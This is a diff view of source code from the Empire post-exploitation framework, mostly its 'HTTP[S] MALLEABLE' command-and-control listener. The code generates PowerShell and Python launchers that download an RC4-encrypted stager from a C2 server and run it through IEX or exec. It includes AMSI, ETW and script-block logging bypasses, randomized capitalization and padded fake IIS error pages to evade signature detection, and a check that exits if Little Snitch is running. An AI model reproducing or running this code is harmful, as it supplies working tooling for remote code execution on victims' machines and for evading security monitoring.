436 | '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') | |
430 | stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') | |
437 | 431 | # prebuild the request routing packet for the launcher |
438 | 432 | routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', |
439 | 433 | meta='STAGE0', additional='None', encData='') |
120 | 120 | 'Required': True, |
121 | 121 | 'Value': 'Server:Microsoft-IIS/7.5' |
122 | 122 | }, |
123 | 'SlackToken': { | |
124 | 'Description': 'Your SlackBot API token to communicate with your Slack instance.', | |
123 | 'SlackURL': { | |
124 | 'Description': 'Your Slack Incoming Webhook URL to communicate with your Slack instance.', | |
125 | 125 | 'Required': False, |
126 | 126 | 'Value': '' |
127 | }, | |
128 | 'SlackChannel': { | |
129 | 'Description': 'The Slack channel or DM that notifications will be sent to.', | |
130 | 'Required': False, | |
131 | 'Value': '#general' | |
132 | 127 | } |
133 | 128 | } |
134 | 129 |
85 | 85 | 'Required' : False, |
86 | 86 | 'Value' : '' |
87 | 87 | }, |
88 | 'SlackToken' : { | |
89 | 'Description' : 'Your SlackBot API token to communicate with your Slack instance.', | |
88 | 'SlackURL' : { | |
89 | 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.', | |
90 | 90 | 'Required' : False, |
91 | 91 | 'Value' : '' |
92 | }, | |
93 | 'SlackChannel' : { | |
94 | 'Description' : 'The Slack channel or DM that notifications will be sent to.', | |
95 | 'Required' : False, | |
96 | 'Value' : '#general' | |
97 | 92 | } |
98 | 93 | } |
99 | 94 |
73 | 73 | 'Required' : True, |
74 | 74 | 'Value' : '/tmp/http_hop/' |
75 | 75 | }, |
76 | 'SlackToken' : { | |
77 | 'Description' : 'Your SlackBot API token to communicate with your Slack instance.', | |
76 | 'SlackURL' : { | |
77 | 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.', | |
78 | 78 | 'Required' : False, |
79 | 79 | 'Value' : '' |
80 | }, | |
81 | 'SlackChannel' : { | |
82 | 'Description' : 'The Slack channel or DM that notifications will be sent to.', | |
83 | 'Required' : False, | |
84 | 'Value' : '#general' | |
85 | 80 | } |
86 | 81 | } |
87 | 82 |
0 | from __future__ import print_function | |
1 | import os, sys, logging, time, copy, string, base64, json, random, ssl | |
2 | from pydispatch import dispatcher | |
3 | from flask import Flask, request, make_response, Response, send_from_directory | |
4 | ||
5 | # extras | |
6 | from builtins import str | |
7 | from builtins import object | |
8 | import logging | |
9 | import base64 | |
10 | import sys | |
11 | import random | |
12 | import string | |
13 | import os | |
14 | import ssl | |
15 | import time | |
16 | import copy | |
17 | import json | |
18 | import sys | |
19 | import threading | |
20 | import urllib.parse | |
21 | ||
22 | from pydispatch import dispatcher | |
23 | ||
24 | # Empire imports | |
25 | from lib.common import helpers | |
26 | from lib.common import agents | |
27 | from lib.common import encryption | |
28 | from lib.common import packets | |
29 | from lib.common import messages | |
30 | from lib.common import templating | |
31 | from lib.common import obfuscation | |
32 | from lib.common import bypasses | |
33 | ||
34 | # Malleable imports | |
35 | from lib.common import malleable | |
36 | ||
37 | class Listener(object): | |
38 | ||
39 | def __init__(self, mainMenu, params=[]): | |
40 | ||
41 | self.info = { | |
42 | 'Name': 'HTTP[S] MALLEABLE', | |
43 | ||
44 | 'Author': ['@harmj0y', '@johneiser'], | |
45 | ||
46 | 'Description': ("Starts a http[s] listener (PowerShell or Python) that adheres to a Malleable C2 profile."), | |
47 | ||
48 | # categories - client_server, peer_to_peer, broadcast, third_party | |
49 | 'Category' : ('client_server'), | |
50 | ||
51 | 'Comments': [] | |
52 | } | |
53 | ||
54 | # any options needed by the stager, settable during runtime | |
55 | self.options = { | |
56 | # format: | |
57 | # value_name : {description, required, default_value} | |
58 | ||
59 | 'Name' : { | |
60 | 'Description' : 'Name for the listener.', | |
61 | 'Required' : True, | |
62 | 'Value' : 'http_malleable' | |
63 | }, | |
64 | 'Host' : { | |
65 | 'Description' : 'Hostname/IP for staging.', | |
66 | 'Required' : True, | |
67 | 'Value' : "http://%s:%s" % (helpers.lhost(), 80) | |
68 | }, | |
69 | 'BindIP' : { | |
70 | 'Description' : 'The IP to bind to on the control server.', | |
71 | 'Required' : True, | |
72 | 'Value' : '0.0.0.0' | |
73 | }, | |
74 | 'Port' : { | |
75 | 'Description' : 'Port for the listener.', | |
76 | 'Required' : True, | |
77 | 'Value' : 80 | |
78 | }, | |
79 | 'Profile' : { | |
80 | 'Description' : 'Malleable C2 profile to describe comms.', | |
81 | 'Required' : True, | |
82 | 'Value' : '' | |
83 | }, | |
84 | 'Launcher' : { | |
85 | 'Description' : 'Launcher string.', | |
86 | 'Required' : True, | |
87 | 'Value' : 'powershell -noP -sta -w 1 -enc ' | |
88 | }, | |
89 | 'StagingKey' : { | |
90 | 'Description' : 'Staging key for initial agent negotiation.', | |
91 | 'Required' : True, | |
92 | 'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa' | |
93 | }, | |
94 | 'DefaultLostLimit' : { | |
95 | 'Description' : 'Number of missed checkins before exiting', | |
96 | 'Required' : True, | |
97 | 'Value' : 60 | |
98 | }, | |
99 | 'CertPath' : { | |
100 | 'Description' : 'Certificate path for https listeners.', | |
101 | 'Required' : False, | |
102 | 'Value' : '' | |
103 | }, | |
104 | 'KillDate' : { | |
105 | 'Description' : 'Date for the listener to exit (MM/dd/yyyy).', | |
106 | 'Required' : False, | |
107 | 'Value' : '' | |
108 | }, | |
109 | 'WorkingHours' : { | |
110 | 'Description' : 'Hours for the agent to operate (09:00-17:00).', | |
111 | 'Required' : False, | |
112 | 'Value' : '' | |
113 | }, | |
114 | 'Proxy' : { | |
115 | 'Description' : 'Proxy to use for request (default, none, or other).', | |
116 | 'Required' : False, | |
117 | 'Value' : 'default' | |
118 | }, | |
119 | 'ProxyCreds' : { | |
120 | 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', | |
121 | 'Required' : False, | |
122 | 'Value' : 'default' | |
123 | }, | |
124 | 'SlackURL' : { | |
125 | 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.', | |
126 | 'Required' : False, | |
127 | 'Value' : '' | |
128 | } | |
129 | } | |
130 | ||
131 | # required: | |
132 | self.mainMenu = mainMenu | |
133 | self.threads = {} # used to keep track of any threaded instances of this server | |
134 | ||
135 | # optional/specific for this module | |
136 | self.app = None | |
137 | ||
138 | # randomize the length of the default_response and index_page headers to evade signature based scans | |
139 | self.header_offset = random.randint(0, 64) | |
140 | ||
141 | # set the default staging key to the controller db default | |
142 | self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0]) | |
143 | ||
144 | # used to protect self.http and self.mainMenu.conn during threaded listener access | |
145 | self.lock = threading.Lock() | |
146 | ||
147 | def get_db_connection(self): | |
148 | """ | |
149 | Returns the cursor for SQLlite DB | |
150 | """ | |
151 | self.lock.acquire() | |
152 | self.mainMenu.conn.row_factory = None | |
153 | self.lock.release() | |
154 | return self.mainMenu.conn | |
155 | ||
156 | def default_response(self): | |
157 | """ | |
158 | Returns an IIS 7.5 404 not found page. | |
159 | """ | |
160 | ||
161 | return '\r\n'.join([ | |
162 | '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">', | |
163 | '<html xmlns="http://www.w3.org/1999/xhtml">', | |
164 | '<head>', | |
165 | '<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>', | |
166 | '<title>404 - File or directory not found.</title>', | |
167 | '<style type="text/css">', | |
168 | '<!--', | |
169 | 'body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}', | |
170 | 'fieldset{padding:0 15px 10px 15px;} ', | |
171 | 'h1{font-size:2.4em;margin:0;color:#FFF;}', | |
172 | 'h2{font-size:1.7em;margin:0;color:#CC0000;} ', | |
173 | 'h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ', | |
174 | '#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;', | |
175 | 'background-color:#555555;}', | |
176 | '#content{margin:0 0 0 2%;position:relative;}', | |
177 | '.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}', | |
178 | '-->', | |
179 | '</style>', | |
180 | '</head>', | |
181 | '<body>', | |
182 | '<div id="header"><h1>Server Error</h1></div>', | |
183 | '<div id="content">', | |
184 | ' <div class="content-container"><fieldset>', | |
185 | ' <h2>404 - File or directory not found.</h2>', | |
186 | ' <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>', | |
187 | ' </fieldset></div>', | |
188 | '</div>', | |
189 | '</body>', | |
190 | '</html>', | |
191 | ' ' * self.header_offset, # randomize the length of the header to evade signature based detection | |
192 | ]) | |
193 | ||
194 | def method_not_allowed_page(self): | |
195 | """ | |
196 | Imitates IIS 7.5 405 "method not allowed" page. | |
197 | """ | |
198 | ||
199 | return '\r\n'.join([ | |
200 | '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">', | |
201 | '<html xmlns="http://www.w3.org/1999/xhtml">', | |
202 | '<head>', | |
203 | '<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>', | |
204 | '<title>405 - HTTP verb used to access this page is not allowed.</title>', | |
205 | '<style type="text/css">', | |
206 | '<!--', | |
207 | 'body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}', | |
208 | 'fieldset{padding:0 15px 10px 15px;} ', | |
209 | 'h1{font-size:2.4em;margin:0;color:#FFF;}', | |
210 | 'h2{font-size:1.7em;margin:0;color:#CC0000;} ', | |
211 | 'h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ', | |
212 | '#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;', | |
213 | 'background-color:#555555;}', | |
214 | '#content{margin:0 0 0 2%;position:relative;}', | |
215 | '.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}', | |
216 | '-->', | |
217 | '</style>', | |
218 | '</head>', | |
219 | '<body>', | |
220 | '<div id="header"><h1>Server Error</h1></div>', | |
221 | '<div id="content">', | |
222 | ' <div class="content-container"><fieldset>', | |
223 | ' <h2>405 - HTTP verb used to access this page is not allowed.</h2>', | |
224 | ' <h3>The page you are looking for cannot be displayed because an invalid method (HTTP verb) was used to attempt access.</h3>', | |
225 | ' </fieldset></div>', | |
226 | '</div>', | |
227 | '</body>', | |
228 | '</html>\r\n' | |
229 | ]) | |
230 | ||
231 | def index_page(self): | |
232 | """ | |
233 | Returns a default HTTP server page. | |
234 | """ | |
235 | ||
236 | return '\r\n'.join([ | |
237 | '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">', | |
238 | '<html xmlns="http://www.w3.org/1999/xhtml">', | |
239 | '<head>', | |
240 | '<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />', | |
241 | '<title>IIS7</title>', | |
242 | '<style type="text/css">', | |
243 | '<!--', | |
244 | 'body {', | |
245 | ' color:#000000;', | |
246 | ' background-color:#B3B3B3;', | |
247 | ' margin:0;', | |
248 | '}', | |
249 | '', | |
250 | '#container {', | |
251 | ' margin-left:auto;', | |
252 | ' margin-right:auto;', | |
253 | ' text-align:center;', | |
254 | ' }', | |
255 | '', | |
256 | 'a img {', | |
257 | ' border:none;', | |
258 | '}', | |
259 | '', | |
260 | '-->', | |
261 | '</style>', | |
262 | '</head>', | |
263 | '<body>', | |
264 | '<div id="container">', | |
265 | '<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>', | |
266 | '</div>', | |
267 | '</body>', | |
268 | '</html>', | |
269 | ]) | |
270 | ||
271 | ||
272 | def validate_options(self): | |
273 | """ | |
274 | Validate all options for this listener. | |
275 | """ | |
276 | ||
277 | for key in self.options: | |
278 | if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''): | |
279 | print(helpers.color("[!] Option \"%s\" is required." % (key))) | |
280 | return False | |
281 | ||
282 | file = self.options["Profile"]["Value"] | |
283 | try: | |
284 | profile = malleable.Profile() | |
285 | profile.ingest(file) | |
286 | ||
287 | # since stager negotiation comms are hard-coded, we can't use any stager transforms - overwriting with defaults | |
288 | profile.stager.client.verb = "GET" | |
289 | profile.stager.client.metadata.transforms = [] | |
290 | profile.stager.client.metadata.base64url() | |
291 | profile.stager.client.metadata.prepend(self.generate_cookie() + "=") | |
292 | profile.stager.client.metadata.header("Cookie") | |
293 | profile.stager.server.output.transforms = [] | |
294 | profile.stager.server.output.print_() | |
295 | ||
296 | if profile.validate(): | |
297 | # store serialized profile for use across sessions | |
298 | self.options["ProfileSerialized"] = { | |
299 | "Description" : "Serialized version of the provided Malleable C2 profile.", | |
300 | "Required" : False, | |
301 | "Value" : profile._serialize() | |
302 | } | |
303 | ||
304 | # for agent compatibility (use post for staging) | |
305 | self.options["DefaultProfile"] = { | |
306 | "Description" : "Default communication profile for the agent.", | |
307 | "Required" : False, | |
308 | "Value" : profile.post.client.stringify() | |
309 | } | |
310 | ||
311 | # grab sleeptime from profile | |
312 | self.options["DefaultDelay"] = { | |
313 | 'Description' : 'Agent delay/reach back interval (in seconds).', | |
314 | 'Required' : False, | |
315 | 'Value' : int(int(profile.sleeptime)/1000) if hasattr(profile, "sleeptime") else 5 | |
316 | } | |
317 | ||
318 | # grab jitter from profile | |
319 | self.options["DefaultJitter"] = { | |
320 | 'Description' : 'Jitter in agent reachback interval (0.0-1.0).', | |
321 | 'Required' : True, | |
322 | 'Value' : float(profile.jitter)/100 if hasattr(profile, "jitter") else 0.0 | |
323 | } | |
324 | ||
325 | # eliminate troublesome headers | |
326 | for header in ["Connection"]: | |
327 | profile.stager.client.headers.pop(header, None) | |
328 | profile.get.client.headers.pop(header, None) | |
329 | profile.post.client.headers.pop(header, None) | |
330 | ||
331 | else: | |
332 | print(helpers.color("[!] Unable to parse malleable profile: %s" % (file))) | |
333 | return False | |
334 | ||
335 | if self.options["CertPath"]["Value"] == "" and self.options["Host"]["Value"].startswith("https"): | |
336 | print(helpers.color("[!] HTTPS selected but no CertPath specified.")) | |
337 | return False | |
338 | ||
339 | except malleable.MalleableError as e: | |
340 | print(helpers.color("[!] Error parsing malleable profile: %s, %s" % (file, e))) | |
341 | return False | |
342 | ||
343 | return True | |
344 | ||
345 | ||
346 | def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, | |
347 | stager=None, scriptLogBypass=None, AMSIBypass=False, AMSIBypass2=False, ETWBypass=False): | |
348 | """ | |
349 | Generate a basic launcher for the specified listener. | |
350 | """ | |
351 | ||
352 | if not language: | |
353 | print(helpers.color('[!] listeners/template generate_launcher(): no language specified!')) | |
354 | return None | |
355 | ||
356 | if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): | |
357 | ||
358 | # extract the set options for this instantiated listener | |
359 | listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] | |
360 | bindIP = listenerOptions['BindIP']['Value'] | |
361 | port = listenerOptions['Port']['Value'] | |
362 | host = listenerOptions['Host']['Value'] | |
363 | launcher = listenerOptions['Launcher']['Value'] | |
364 | stagingKey = listenerOptions['StagingKey']['Value'] | |
365 | ||
366 | # build profile | |
367 | profile = malleable.Profile._deserialize(listenerOptions["ProfileSerialized"]["Value"]) | |
368 | profile.stager.client.host = host | |
369 | profile.stager.client.port = port | |
370 | profile.stager.client.path = profile.stager.client.random_uri() | |
371 | ||
372 | if userAgent and userAgent.lower() != 'default': | |
373 | if userAgent.lower() == 'none' and "User-Agent" in profile.stager.client.headers: | |
374 | profile.stager.client.headers.pop("User-Agent") | |
375 | else: | |
376 | profile.stager.client.headers["User-Agent"] = userAgent | |
377 | ||
378 | if language.lower().startswith('po'): | |
379 | # PowerShell | |
380 | ||
381 | vGPF = helpers.generate_random_script_var_name("GPF") | |
382 | vGPC = helpers.generate_random_script_var_name("GPC") | |
383 | vWc = helpers.generate_random_script_var_name("wc") | |
384 | vData = helpers.generate_random_script_var_name("data") | |
385 | ||
386 | launcherBase = '$ErrorActionPreference = \"SilentlyContinue\";' | |
387 | ||
388 | if safeChecks.lower() == 'true': | |
389 | launcherBase = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") | |
390 | # ScriptBlock Logging bypass | |
391 | if scriptLogBypass: | |
392 | launcherBase += bypasses.scriptBlockLogBypass() | |
393 | if ETWBypass: | |
394 | launcherBase += bypasses.ETWBypass() | |
395 | # @mattifestation's AMSI bypass | |
396 | if AMSIBypass: | |
397 | launcherBase += bypasses.AMSIBypass() | |
398 | # rastamouse AMSI bypass | |
399 | if AMSIBypass2: | |
400 | launcherBase += bypasses.AMSIBypass2() | |
401 | if safeChecks.lower() == 'true': | |
402 | launcherBase += "};" | |
403 | launcherBase += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") | |
404 | ||
405 | # ==== DEFINE BYTE ARRAY CONVERSION ==== | |
406 | launcherBase += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") | |
407 | launcherBase += "'%s');" % (stagingKey) | |
408 | ||
409 | # ==== DEFINE RC4 ==== | |
410 | launcherBase += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') | |
411 | ||
412 | # ==== BUILD AND STORE METADATA ==== | |
413 | routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') | |
414 | routingPacketTransformed = profile.stager.client.metadata.transform(routingPacket) | |
415 | profile.stager.client.store(routingPacketTransformed, profile.stager.client.metadata.terminator) | |
416 | ||
417 | # ==== BUILD REQUEST ==== | |
418 | launcherBase += helpers.randomize_capitalization("$"+vWc+"=New-Object System.Net.WebClient;") | |
419 | launcherBase += "$ser="+helpers.obfuscate_call_home_address(profile.stager.client.scheme + "://" + profile.stager.client.netloc)+";$t='"+profile.stager.client.path+profile.stager.client.query+"';" | |
420 | ||
421 | # ==== HANDLE SSL ==== | |
422 | if profile.stager.client.scheme == 'https': | |
423 | # allow for self-signed certificates for https connections | |
424 | launcherBase += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" | |
425 | ||
426 | # ==== CONFIGURE PROXY ==== | |
427 | if proxy and proxy.lower() != 'none': | |
428 | if proxy.lower() == 'default': | |
429 | launcherBase += helpers.randomize_capitalization("$"+vWc+".Proxy=[System.Net.WebRequest]::DefaultWebProxy;") | |
430 | else: | |
431 | launcherBase += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('") | |
432 | launcherBase += proxy.lower() | |
433 | launcherBase += helpers.randomize_capitalization("');") | |
434 | launcherBase += helpers.randomize_capitalization("$"+vWc+".Proxy = $proxy;") | |
435 | if proxyCreds and proxyCreds.lower() != 'none': | |
436 | if proxyCreds.lower() == 'default': | |
437 | launcherBase += helpers.randomize_capitalization("$"+vWc+".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") | |
438 | else: | |
439 | username = proxyCreds.split(':')[0] | |
440 | password = proxyCreds.split(':')[1] | |
441 | if len(username.split('\\')) > 1: | |
442 | usr = username.split('\\')[1] | |
443 | domain = username.split('\\')[0] | |
444 | launcherBase += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" | |
445 | else: | |
446 | usr = username.split('\\')[0] | |
447 | launcherBase += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');" | |
448 | launcherBase += helpers.randomize_capitalization("$"+vWc+".Proxy.Credentials = $netcred;") | |
449 | # save the proxy settings to use during the entire staging process and the agent | |
450 | launcherBase += "$Script:Proxy = $"+vWc+".Proxy;" | |
451 | ||
452 | # ==== ADD HEADERS ==== | |
453 | for header, value in profile.stager.client.headers.items(): | |
454 | #If host header defined, assume domain fronting is in use and add a call to the base URL first | |
455 | #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello | |
456 | if header.lower() == "host": | |
457 | launcherBase += helpers.randomize_capitalization("try{$ig=$"+vWc+".DownloadData($ser)}catch{};") | |
458 | launcherBase += helpers.randomize_capitalization("$"+vWc+".Headers.Add(") | |
459 | launcherBase += "\"%s\",\"%s\");" % (header, value) | |
460 | ||
461 | # ==== SEND REQUEST ==== | |
462 | if profile.stager.client.verb.lower() != "get" or profile.stager.client.body: | |
463 | launcherBase += helpers.randomize_capitalization("$"+vData+"=$"+vWc+".UploadData($ser+$t,'"+ profile.stager.client.verb +"','"+ profile.stager.client.body +"')\n") | |
464 | else: | |
465 | launcherBase += helpers.randomize_capitalization("$"+vData+"=$"+vWc+".DownloadData($ser+$t);") | |
466 | ||
467 | # ==== INTERPRET RESPONSE ==== | |
468 | if profile.stager.server.output.terminator.type == malleable.Terminator.HEADER: | |
469 | launcherBase += helpers.randomize_capitalization("$"+vData+"='';for ($i=0;$i -lt $"+vWc+".ResponseHeaders.Count;$i++){") | |
470 | launcherBase += helpers.randomize_capitalization("if ($"+vData+".ResponseHeaders.GetKey($i) -eq '"+ profile.stager.server.output.terminator.arg +"'){") | |
471 | launcherBase += helpers.randomize_capitalization("$"+vData+"=$"+vWc+".ResponseHeaders.Get($i);") | |
472 | launcherBase += helpers.randomize_capitalization("Add-Type -AssemblyName System.Web;$"+vData+"=[System.Web.HttpUtility]::UrlDecode($"+vData+");") | |
473 | launcherBase += "}}" | |
474 | elif profile.stager.server.output.terminator.type == malleable.Terminator.PRINT: | |
475 | launcherBase += "" | |
476 | else: | |
477 | launcherBase += "" | |
478 | launcherBase += profile.stager.server.output.generate_powershell_r("$"+vData) | |
479 | ||
480 | # ==== EXTRACT IV AND STAGER ==== | |
481 | launcherBase += helpers.randomize_capitalization("$iv=$"+vData+"[0..3];$"+vData+"=$"+vData+"[4..$"+vData+".length];") | |
482 | ||
483 | # ==== DECRYPT AND EXECUTE STAGER ==== | |
484 | launcherBase += helpers.randomize_capitalization("-join[Char[]](& $R $"+vData+" ($IV+$K))|IEX") | |
485 | ||
486 | if obfuscate: | |
487 | launcherBase = helpers.obfuscate(self.mainMenu.installPath, launcherBase, obfuscationCommand=obfuscationCommand) | |
488 | ||
489 | if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): | |
490 | return helpers.powershell_launcher(launcherBase, launcher) | |
491 | else: | |
492 | return launcherBase | |
493 | ||
494 | elif language.lower().startswith('py'): | |
495 | # Python | |
496 | ||
497 | # ==== HANDLE IMPORTS ==== | |
498 | launcherBase = 'import sys,base64\n' | |
499 | launcherBase += 'import urllib.request as urllib' | |
500 | ||
501 | # ==== HANDLE SSL ==== | |
502 | if profile.stager.client.scheme == "https": | |
503 | launcherBase += "import ssl\n" | |
504 | launcherBase += "if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context\n" | |
505 | ||
506 | # ==== SAFE CHECKS ==== | |
507 | if safeChecks and safeChecks.lower() == 'true': | |
508 | launcherBase += "import re,subprocess\n" | |
509 | launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" | |
510 | launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n" | |
511 | launcherBase += "out, err = ps.communicate()\n" | |
512 | launcherBase += "if re.search('Little Snitch', out):sys.exit()\n" | |
513 | ||
514 | launcherBase += "server='%s'\n" % (host) | |
515 | ||
516 | # ==== CONFIGURE PROXY ==== | |
517 | if proxy and proxy.lower() != 'none': | |
518 | if proxy.lower() == 'default': | |
519 | launcherBase += "proxy = urllib.ProxyHandler()\n" | |
520 | else: | |
521 | proto = proxy.split(':')[0] | |
522 | launcherBase += "proxy = urllib.ProxyHandler({'"+proto+"':'"+proxy+"'})\n" | |
523 | if proxyCreds and proxyCreds != 'none': | |
524 | if proxyCreds == 'default': | |
525 | launcherBase += "o = urllib.build_opener(proxy)\n" | |
526 | else: | |
527 | launcherBase += "proxy_auth_handler = urllib.ProxyBasicAuthHandler()\n" | |
528 | username = proxyCreds.split(':')[0] | |
529 | password = proxyCreds.split(':')[1] | |
530 | launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"')\n" | |
531 | launcherBase += "o = urllib.build_opener(proxy, proxy_auth_handler)\n" | |
532 | else: | |
533 | launcherBase += "o = urllib.build_opener(proxy)\n" | |
534 | else: | |
535 | launcherBase += "o = urllib.build_opener()\n" | |
536 | # install proxy and creds globaly, so they can be used with urlopen. | |
537 | launcherBase += "urllib.install_opener(o)\n" | |
538 | ||
539 | # ==== BUILD AND STORE METADATA ==== | |
540 | routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') | |
541 | routingPacketTransformed = profile.stager.client.metadata.transform(routingPacket) | |
542 | profile.stager.client.store(routingPacketTransformed, profile.stager.client.metadata.terminator) | |
543 | ||
544 | # ==== BUILD REQUEST ==== | |
545 | launcherBase += "vreq=type('vreq',(urllib.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.Request.get_method(self)})\n" | |
546 | launcherBase += "req=vreq('%s', '%s')\n" % (profile.stager.client.url, profile.stager.client.body) | |
547 | launcherBase += "req.verb='"+profile.stager.client.verb+"'\n" | |
548 | ||
549 | # ==== ADD HEADERS ==== | |
550 | for header, value in profile.stager.client.headers.items(): | |
551 | launcherBase += "req.add_header('%s','%s')\n" % (header, value) | |
552 | ||
553 | # ==== SEND REQUEST ==== | |
554 | launcherBase += "res=urllib.urlopen(req)\n" | |
555 | ||
556 | # ==== INTERPRET RESPONSE ==== | |
557 | if profile.stager.server.output.terminator.type == malleable.Terminator.HEADER: | |
558 | launcherBase += "head=res.info().dict\n" | |
559 | launcherBase += "a=head['%s'] if '%s' in head else ''\n" % (profile.stager.server.output.terminator.arg, profile.stager.server.output.terminator.arg) | |
560 | launcherBase += "a=urllib.parse.unquote(a)\n" | |
561 | elif profile.stager.server.output.terminator.type == malleable.Terminator.PRINT: | |
562 | launcherBase += "a=res.read()\n" | |
563 | else: | |
564 | launcherBase += "a=''\n" | |
565 | launcherBase += profile.stager.server.output.generate_python_r("a") | |
566 | ||
567 | # ==== EXTRACT IV AND STAGER ==== | |
568 | launcherBase += "a=urllib.urlopen(req).read();\n" | |
569 | launcherBase += "IV=a[0:4];" | |
570 | launcherBase += "data=a[4:];" | |
571 | launcherBase += "key=IV+'%s'.encode('UTF-8');" % (stagingKey) | |
572 | ||
573 | # ==== DECRYPT STAGER (RC4) ==== | |
574 | launcherBase += "S,j,out=list(range(256)),0,[]\n" | |
575 | launcherBase += "for i in list(range(256)):\n" | |
576 | launcherBase += " j=(j+S[i]+key[i%len(key)])%256\n" | |
577 | launcherBase += " S[i],S[j]=S[j],S[i]\n" | |
578 | launcherBase += "i=j=0\n" | |
579 | launcherBase += "for char in data:\n" | |
580 | launcherBase += " i=(i+1)%256\n" | |
581 | launcherBase += " j=(j+S[i])%256\n" | |
582 | launcherBase += " S[i],S[j]=S[j],S[i]\n" | |
583 | launcherBase += " out.append(chr(char^S[(S[i]+S[j])%256]))\n" | |
584 | launcherBase += "exec(''.join(out))" | |
585 | ||
586 | # ==== EXECUTE STAGER ==== | |
587 | launcherBase += "exec(''.join(out))" | |
588 | ||
589 | if encode: | |
590 | launchEncoded = base64.b64encode(launcherBase.encode('UTF-8')).decode('UTF-8') | |
591 | if isinstance(launchEncoded, bytes): | |
592 | launchEncoded = launchEncoded.decode('UTF-8') | |
593 | launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded) | |
594 | return launcher | |
595 | else: | |
596 | return launcherBase | |
597 | ||
598 | else: | |
599 | print(helpers.color("[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module.")) | |
600 | ||
601 | else: | |
602 | print(helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!")) | |
603 | ||
604 | ||
605 | def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): | |
606 | """ | |
607 | Generate the stager code needed for communications with this listener. | |
608 | """ | |
609 | ||
610 | if not language: | |
611 | print(helpers.color('[!] listeners/http_malleable generate_stager(): no language specified!')) | |
612 | return None | |
613 | ||
614 | # extract the set options for this instantiated listener | |
615 | port = listenerOptions['Port']['Value'] | |
616 | host = listenerOptions['Host']['Value'] | |
